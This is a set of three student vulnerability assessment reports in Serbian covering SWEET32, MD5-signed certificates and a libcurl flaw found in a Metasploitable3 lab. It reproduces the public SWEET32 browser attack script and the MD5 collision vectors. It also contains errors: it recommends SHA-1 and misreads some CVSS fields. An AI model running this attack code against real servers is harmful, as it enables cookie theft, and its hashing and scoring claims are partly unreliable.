Vulnerability Assessment Report Template

Ime i prezime: Stasja Durutovic
Tim: 1
Datum: 25.10.2024.
Scan Tool: Nessus 10.8.3 (#10) WINDOWS
Test okruženje: Metasploitable3

---

1. Enumeracija CVE-a

- **CVE ID: CVE-2016-2183**

- **Opis:**

Ranjivost "**SSL Medium Strenght Cipher Suites Supported**" se odnosi na podršku za enkripciju srednje jačine, što znači da su podržane šifre koje koriste šifre dužine između 64 i 112 bita ili koje koriste enkripciju poput 3DES-a (algoritam za zaštitu podataka).

Port 3389/tp/ msrdp. Najčešće su pogođeni oni portovi koji koriste TSL/SSL protokole (protokol za enkripciju komunikacije).

Ova ranjivost može ugroziti servis jer omogućava napadaču da prepozna delove šifrovanih podataka i pristupi poverljivim informacijama, poput kolačića ili autentifikacionih tokena.

---

2. CVSS skor

- **CVSS skor (numerička vrednost): 7.5**
- **Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N**

AV-Attack Vector : **Network** – Ranjivost dostupna preko mreže
AC –Attack Complexity: Low – Napad jednostavan za izvođenje
PR- Privileges Requiered:None – Eksploatacija ne zahteva autentifikaciju; omogućen napad bilo kome ko ima pristup mreži
UI-User Interaction : None – Napad ne zavisi od korisničke akcije, što znači da se eksploatacija može pokrenuti automatski

S –Scope : Unchanged – Eskploatacija nema uticaj na druge sisteme ili komponente, samo na komponentu koja je ranjiva (domet napada ograničen na specifični sistem)
C- Confidentiality: High – Eksploatacija može otkriti osetljive informacije, kao što su npr. lični podaci
I-Integrity: None - Napad nema uticaj na integritet podataka; ne omogućava izmene ili manipulaciju podacima
A-Availability: None – Napad nema uticaj na dostupnost sistema ili servisa

- **Opravdanje:**

  Ova ranjivost ima visok skor jer se može lako eksploatisati preko mreže, ima uticaj na poverljivost podataka. Osim toga, eksploatacija je omogućena bilo kome ko ima pristup mreži i pokreće se automatski. Ova kombinacija faktora doprinosi visokom skoru.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Da**

  https://sweet32.info

- **Opis eksploita:**

  SWEET32 eksploit koristi ranjivost u 3DES enkripciji tokom SSL/TLS sesija da bi napadač mogao da dešifruje osetljive podatke. Napadač generiše veliku količinu zahteva koji omogućavaju da se u toku jedne sesije generišu ponovljeni 64-bitni blokovi. Pošto 3DES koristi blokove od 64 bita, statistička verovatnoća da se isti blok ponovo koristi postaje viša s povećanjem obima podataka. Kada se ovi blokovi ponavljaju, napadač primenjuje statističke metode da analizira podatke i rekonstruiše delove osetljivih informacija, poput kolačića.
  Worker.js kreira više istovremenih zahteva, čime se ubrzava generisanje velike količine podataka i to izaziva ponovljene enkripcije blokova. Takođe, napravljena je velika dužina URL-a, jer što je URL duži veća je verovatnoća da će se ponoviti blokovi u enkripciji. WHILE petlja neprekidno šalje HEAD zahteve na server da bi se dobile informacije o resursu.

```
<html>
  <body>
    <script>
    var W = new Array;
    for (var i=0; i<8; i++) {
        var x = new Worker("worker.js");
        W.push(x);
    }
    </script>
  </body>
</html>
```

attack.html

```
var url = "https://10.0.0.1/index.html";
var xhr = new XMLHttpRequest;

// Expand URL to ~4kB using a query string
// Alternatively, force a large cookie
url += "?";
var x = 10000000;
for (var i=0; i<=500; i++) {
    url += x++;
}


while(true) {
    xhr.open("HEAD", url, false);
    xhr.withCredentials = true;
    xhr.send();
    xhr.abort();
}
```

worker.js

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Ranljivost je izazvana upotrebom 3DES (Triple DES) algoritma, koji koristi 64-bitne blokove. Sweet32 nije vezana za određeni commit, biblioteku ili verziju nekog specifičnog softvera, već se tiče opšte primene 3DES enkripcije i njene statističke slabosti.

- **Primer Koda (ako je primenljivo): /**

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne): Da**

- **Mitigation Strategy:**

Preporučuje se onemogućavanje 3DES u konfikuraciji TLS/SSL na serverima, posto se ne radi o specifičnoj grešci koju može ispraviti vendor. Npr. u konfiguracionom fajlu web servera kao što je Apache sledeća komanda omogućava samo jake enkripcije:

```
SSLCipherSuite HIGH:!aNULL:!MD5
```

Onemogućavanje 3DES se može implementirati i pomoću postojećih skripti, s obzirom da postoji veliki broj dostupnih skripti na izvorima kao što je GitHub:

https://gist.github.com/jbratu/6262684939e15e638892973f5f8eed78

Preporučuje se korišćenje jačih algoritama za enkripciju, kao što je AES algoritam. Osim toga, potrebno je modifikovati konfiguraciona podešavanja pogođenih sistema (web severi, VPN ili drugi mrežni uređaji.)

- **Alternativni fix (ukoliko ne postoji vendorski): /**

Vulnerability Assessment Report Template

Ime i prezime: Stasja Durutovic
Tim: 1
Datum: 03.11.2024.
Scan Tool: Nessus 10.8.3 (#10) WINDOWS
Test okruženje: Metasploitable3

---

1. Enumeracija CVE-a

- **CVE ID: CVE-2004-2761**

- **Opis: SSL Certificate Signed Using Weak Hashing Algorithm**

  CVE-2004-2761 ukazuje na ranjivost u SSL sertifikatima koji koriste kriptografski slabe algoritme za heširanje, kao što su MD2, MD4, MD5 ili SHA-1. Ovi algoritmi su podložni napadima sudara (collision attacks), gde se dva različita unosa mogu mapirati na isti heš. To može omogućiti napadaču da generiše drugi sertifikat s istim digitalnim potpisom, imitirajući time legitimni servis.

  Port i protokol: najčešće se javlja na portovima koji koriste SSL/TLS protokol (443, 993, 995)

---

2. CVSS skor

- **CVSS skor (numerička vrednost): 5**.0
- **Vektor CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N**

  AV-Attack Vector : Network – zahteva lokalni pristup (napadač mora da ima pristup uređaju ili da bude prijavljen na sistem)

  AC –Attack Complexity: Low – eksploatacija je jednostavna I ne zahteva kompeksne tehnike

Privileges Required: **None** – nisu potrebne privilegije ili specijalne dozvole da bi napadač iskoristio ranjivost

UI–User Interaction:None - nije potrebna nikakva akcija korisnika

S- Scope: Unchanged – ne utiče na druge sisteme
C – **Confidentiality**: **None** – napadač ne može da pristupi poverljivim informacija

I-Integrity: High – eksploatacija može narušiti integritet podataka; napadač može da izmeni važne informacije

A-Availability: None – nema uticija na dostupnost, tako da ne uzrokuje pad sistema

- **Opravdanje:**

  Ova ranjivost je klasifikovana kao srednje opasna zbog pristupa preko mreže i niske složenosti napada, takođe i zbog toga što nema potrebe za privilegijama ili korisničkom interakcijom. Iako nema uticaja na poverljivost podataka, visok uticaj na integritet znači da napadači mogu ozbiljno da manipulišu ili oštete važne informacije, što predstavlja značajan rizik za organizaciju. Srednji skor ukazuje na potrebu za pažnjom i predstavlja ozbiljan problem.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Da**

  https://www.exploit-db.com/exploits/24807

- **Opis eksploita:**

  MD5 je popularni algoritam koji se koristi za heširanje, ali se pokazao kao nesiguran. Ranjivost ovog algoritma omogućava napadačima da naprave dva različita ulaza koja imaju isti MD5 heš. Ovo znači da napadač može stvoriti maliciozni fajl koji ima isti heš kao neki bezazleni fajl. Na primer, napadač može uzeti neki legalan dokument, potpisati ga i kasnije ga zameniti “zloćudnim” dokumentom koji izgleda identično, ali ima drugačiji sadržaj. Ovo može omogućiti izvršavanje malicioznog koda ili lažno predstavljanje poruka. U javno dostupnom eksploitu, koristi se Perl skripta da pokaže ranjivost MD5

heširanja. Skripta pokazuje kako se mogu stvoriti dva različita fajla koji imaju isti MD5 heš, što napadaču omogućava da zamenjuje fajlove.

- **Kod eksploita (ukoliko postoji):**

```
# Let:  Vec1 and Vec2 equal our two files ("vectors") with the
same hash

my $vec1 = h2b("
d1 31 dd 02 c5 e6 ee c4 69 3d 9a 06 98 af f9 5c
2f ca b5 87 12 46 7e ab 40 04 58 3e b8 fb 7f 89
55 ad 34 06 09 f4 b3 02 83 e4 88 83 25 71 41 5a
08 51 25 e8 f7 cd c9 9f d9 1d bd f2 80 37 3c 5b
d8 82 3e 31 56 34 8f 5b ae 6d ac d4 36 c9 19 c6
dd 53 e2 b4 87 da 03 fd 02 39 63 06 d2 48 cd a0
e9 9f 33 42 0f 57 7e e8 ce 54 b6 70 80 a8 0d 1e
c6 98 21 bc b6 a8 83 93 96 f9 65 2b 6f f7 2a 70
");

my $vec2 = h2b("
d1 31 dd 02 c5 e6 ee c4 69 3d 9a 06 98 af f9 5c
2f ca b5 07 12 46 7e ab 40 04 58 3e b8 fb 7f 89
55 ad 34 06 09 f4 b3 02 83 e4 88 83 25 f1 41 5a
08 51 25 e8 f7 cd c9 9f d9 1d bd 72 80 37 3c 5b
d8 82 3e 31 56 34 8f 5b ae 6d ac d4 36 c9 19 c6
dd 53 e2 34 87 da 03 fd 02 39 63 06 d2 48 cd a0
e9 9f 33 42 0f 57 7e e8 ce 54 b6 70 80 28 0d 1e
c6 98 21 bc b6 a8 83 93 96 f9 65 ab 6f f7 2a 70
");
```

Srž eksploita su dva vektora koji se koriste za kreiranje dva različita fajla, vec1 i vec2. Oni su definisani tako da imaju isti MD5 heš. To omogućava napadaču da zameni jedan fajl (npr. bezazleni) drugim (npr. malicioznim) bez da se to otkrije.

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

Ova ranjivost se temelji na ranijim otkrićima o slabostima MD5 funkcije, koja je prvi put demonstrirana 2004. godine Ranjivost je primećena u RADIUS protokolu dizajniranom 1991. MD5 algoritam za heširanje je korišćen kao deo RADIUS paketa za generisanje *Response Authenticator* polja, a ranjivost je omogućena korišćenjem napada na koliziju MD5 (chosen-prefix collision attack). **Nema specifičnog commit ID** koji se može navesti kao direktan uzrok ranjivosti, jer je ranjivost vezana za upotrebu MD5 algoritma u RADIUS implementacijama, a ne za određenu verziju ili commit u kodu.

Primer Koda (ako je primenljivo): /

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne): Da**
- **Mitigation Strategy:**

1. **Prelazak na jače heš algoritme**: Organizacije bi trebale prioritetno migrirati sa MD5 na jače heš funkcije, kao što su SHA-256 ili SHA-1 za sertifikate. S obzirom na to da mnogi sertifikati klase enterprise već koriste SHA-1, važno je da svi novi sertifikati budu izdati sa SHA-1 ili višim standardima. Ova migracija je ključna za očuvanje integriteta i sigurnosti digitalnih potpisa.
   Npr: Sledeća Python skripta koristi API VirusTotal-a da potraži fajl sa odgovarajućim MD5 hešom, a zatim vraća odgovarajući SHA256 heš (ili SHA1, u zavisnosti od opcije). Skripta omogućava korisniku da unese MD5 heš, a zatim, putem VirusTotal-a, pronalazi i ispisuje odgovarajuću SHA256 ili SHA1 vrednost ako je fajl već otpremljen na VirusTotal.

```
def process_hash(hash, output_file, use_sha1, verbose, rate_limiter, v):
    hex_digits_md5 = compile('[0-9a-fA-F]{32}')
    if not hex_digits_md5.match(hash):
        print('Bad MD5 hash: "{}".'.format(hash), file=stdout)
        return True
    if verbose:
        print('Processing {}...'.format(hash))
    with rate_limiter:
        try:
            report = v.get(hash)
            if report is None:
                print('{}'.format(hash), file=output_file)
                return False
            report.join()
            assert report.done == True
            new_hash = report.sha1 if use_sha1 else report.sha256
            print('{}\t{}'.format(hash.upper(), new_hash.upper()), file=output_file)
            output_file.flush()
        except Exception as e:
            print('Error: {}'.format(e), file=stderr)
            return True
    return False
```

Ova funkcija prima MD5 heš kao ulaz i poziva VirusTotal API da potraži fajl sa tim MD5 hešom. Zatim koristi atribute report.sha256 ili report.sha1 da dobije odgovarajući SHA heš ako postoji.

2. **Pregled i ažuriranje politika sertifikata:** Mnogi sertifikacioni autoriteti (CAs) postepeno ukidaju MD5; treba osigurati da su svi novi sertifikati koji se nabavljaju u skladu s tim promenama. Svaka aplikacija ili server koji koristi MD5 potpisane sertifikate treba da se ažurira tako da podržava nove sertifikate. To može uključivati promene u konfiguraciji servera (npr. Apache, Nginx) da bi se osiguralo da koriste nove sertifikate.

   Preporučeni alati: OpelSSL (za upravljanje sertifikatima), Certbot (automatski instalira nove sertifikate) I Puppet ili Ansible.

- **Alternativni fix (ukoliko ne postoji vendorski): /**

Vulnerability Assessment Report Template

Ime i prezime: Stasja Durutovic
Tim: 1
Datum: 03.11.2024.
Scan Tool: Nessus 10.8.3 (#10) WINDOWS
Test okruženje: Metasploitable3

---

1. Enumeracija CVE-a

- **CVE ID: CVE-2014-3707**

- **Opis: Ubuntu 14.04 LTS : curl vulnerability (USN-2399-1)**

Ova ranjivost je pronađena u programu curl i otkrivena je u verziji Ubuntu 14.04. Problem nastaje zbog nepravilnog rukovanja memorijom, što može dovesti do toga da osetljivi podaci budu pogrešno poslati na udaljeni server.

Port: 80 (HTTP) ili 443(HTTPS)

Protokol: HTTP/HTTPS, FTP, i drugi protokoli koji se koriste za prenos podataka.

Ova ranjivost može uticati na aplikacije koje koriste curl za slanje podataka na servere, omogućavajući napadaču da dobije pristup osetljivim informacijama koje se šalju. Na primer, ako se koristi za prenos lozinki, podaci mogu biti otkriveni, što predstavlja ozbiljan bezbednosni rizik.

---

2. CVSS skor

- **CVSS skor (numerička vrednost): 9.8 (Critical)**
- **Vektor: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H**

Attack Vector : Network – eskploatacija može biti na određeni sistem ili mrežu (mrežni uređaji, mrežni protokoli, web serveri ili fizičke mrežne veze)
AC –Attack Complexity: Low – eksploatacija je jednostavna i ne zahteva kompeksne tehnike

PR- Privileges Required: None – nisu potrebne privilegije ili specijalne dozvole da bi napadač iskoristio ranjivost

UI –User Interaction: None - nije potrebna nikakva akcija korisnika

S- Scope: Unchanged – ne utiče na druge sisteme
C – **Confidentiality**: **None** – napadač ne može da pristupi poverljivim informacija

I- Integrity: High – eksploatacija može narušiti integritet podataka; napadač može da izmeni važne informacije

A-Availability: High – ima uticija na dostupnost, tako da može da uzrokuje pad sistema. Kada se usluga oslanja na curl za slanje ili primanje podataka, svaka eksploatacija ranjivosti može značiti da podaci neće biti dostupni ili da će se poslati pogrešno.

- **Opravdanje:**
  Ranjivost ima visok CVSS skor jer curl ima široku primenu u različitim aplikacijama i okruženjima. Napadači mogu iskoristiti ovu ranjivost bez potrebe za visokim nivoom tehničkog znanja, što znači da je eksploatacija potencijalno dostupna velikom broju napadača. Osim toga, uticaj na integritet doprinosu visokom skoru jer napadači mogu modifikovati ili slati osetljive informacije ka udaljenom serveru. Takođe, problem se može proširiti na veliki broj korisnika koji koriste određenu verziju curl-a.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Ne**
  Pretragom na Exploit-DB i GitHub-u nisam pronašla specifični eksploit koda koji se može koristiti za ovu ranjivost.
- **Opis eksploita: /**

- **Kod eksploita (ukoliko postoji):** /

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Ranjivost se odnosi na probleme u biblioteci libcurl 7.17.1, gde se tokom korišćenja funkcije CURLOPT_COPYPOSTFIELDS i curl_easy_duphandle() – funkcija libcurl bibliotke javlja greška u rukovanju memorijom koja može dovesti do otkrivanja osetljivih podataka. Ova greška postoji od kada je CURLOPT_COPIPOSTFIELDS uveden. CURLOPT_POSTFIELDS je opcija u cURL-u koja omogućava slanje podataka u HTTP

POST zahtevu. Funkcija curl_easy_duphandle() je pogrešno tretirala post podatke kao C string, što podrazumeva da se očekuje da string završi nul karakterom ('\0'). Međutim, podaci koji se šalju u POST zahtev mogu sadržati nulti byte ili ga čak nemaju, što može dovesti do različitih problema (prekomerno ili nedovoljno alociranje memorije, pad aplikacije, potencijalno curenje osetljivih informacija). Libcurl pošalje osetljive podatke u HTTP POST zahtevu, ukoliko se koristi specifičan niz funkcija — prvo CURLOPT_COPYPOSTFIELDS, a zatim curl_easy_duphandle().

Pogođene verzije: od libcurl 7.17.1 do i uključujući 7.38.0

Verzije na koje to ne utiče: libcurl < 7.17.1 i nakon i uključujući 7.39.0. Verzijom libcurl 7.39.0 se problem rešava.

Tačan commit: https://github.com/curl/curl/commit/a005243908803662d4a0542

- **Primer Koda (ako je primenljivo):** Nema dostupan specifičan primer koda koji direktno ilustruje ovu ranljivost, ali efekat se može videti kada se koriste opcije CURLOPT_COPYPOSTFIELDS i curl_easy_duphandle() u pogrešnom redosledu.

  ChatGPT :

```c
CURL *curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, "https://example.com");
curl_easy_setopt(curl, CURLOPT_COPYPOSTFIELDS, data);
CURL *duplicate_curl = curl_easy_duphandle(curl);
curl_easy_perform(duplicate_curl);
```

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da. Patch za ranljivost CVE-2014-3707 je dostupan u verziji libcurl 7.39.0 i novijim verzijama.

- **MitigationStrategy:**
  Preporučuje se:

1. **Ažuriranje biblioteke**: Preporučuje se da korisnici odmah ažuriraju libcurl na verziju 7.39.0 ili noviju kako bi uklonili ranjivost. Ako trenutno nije moguća nadogradnja curl na novu verziju, treba preuzeti i primeniti dostupni patch koji rešava ovu ranjivost. Nakon primene, neophodno je ponovo kompajlirati libcurl kako bi izmene bile aktivne.
2. **Automatska rešenja**: Postoje alati i menadžeri paketa koji mogu automatski da primene ažuriranja (**APT (Advanced Package Tool)** za distribucije zasnovane na Debianu, kao što su Ubuntu: sudo apt update sudo apt install libcurl4; **YUM (Yellowdog Updater, Modified)** za distribucije zasnovane na Red Hat-u: sudo yum update libcurl; **Homebrew** za macOS: brew update brew upgrade curl
3. **Izbegavanje korišćenja CURLOPT_COPYPOSTFIELDS zajedno sa curl_easy_duphandle():** Kao alternativno rešenje, može se promeniti način na koji se koristi libcurl u kodu tako što se izbegava upotreba ovih funkcija u kombinaciji. Ovo neće rešiti problem unutar libcurl biblioteke, ali može sprečiti pojavu ranjivosti u kodu.
   Npr:

Synopsis

```
#include <curl/curl.h>

CURLcode curl_easy_setopt(CURL *handle, CURLOPT_POSTFIELDSIZE_LARGE,
curl_off_t size);
```

Description

```
curl_easy_setopt options                          CURLOPT_POSTFIELDSIZE_LARGE(3)



NAME
       CURLOPT_POSTFIELDSIZE_LARGE - size of POST data pointed to

SYNOPSIS
       #include <curl/curl.h>

       CURLcode curl_easy_setopt(CURL *handle, CURLOPT_POSTFIELDSIZE_LARGE,
                                 curl_off_t size);

DESCRIPTION
       If  you  want  to  post  data to the server without having libcurl do a
       strlen() to measure the data size, this option must be used. When  this
       option  is  used  you  can  post  fully binary data, which otherwise is
```

```
PROTOCOLS
       HTTP(S)

EXAMPLE
       CURL *curl = curl_easy_init();
       if(curl) {
         const char *data = large_chunk;
         curl_off_t length_of_data; /* set somehow */

         curl_easy_setopt(curl, CURLOPT_URL, "https://example.com");

         /* size of the POST data */
         curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, length_of_data);

         curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data);

         curl_easy_perform(curl);
       }
```

Umesto korišćenja CURLOPT_COPYPOSTFIELDS, koristi se CURLOPT_POSTFIELDS zajedno sa CURLOPT_POSTFIELDSIZE_LARGE za slanje binarnih podataka. Ova metoda omogućava postavljanje veličine podataka bez potrebe za korišćenjem strlen(), čime se izbegavaju problemi koji se mogu pojaviti prilikom korišćenja niza koji može sadržati binarne podatke ili kada se podaci ne završavaju sa nulom.

Preporučeni alati: Dependabot ili Renovate: ovi alati mogu automatski da prate i biblioteke poput libcurl i OVS Scanner koji može da skenira projekte i identifikuje ranjivosti

- **Alternativni fix (ukoliko ne postoji vendorski): /**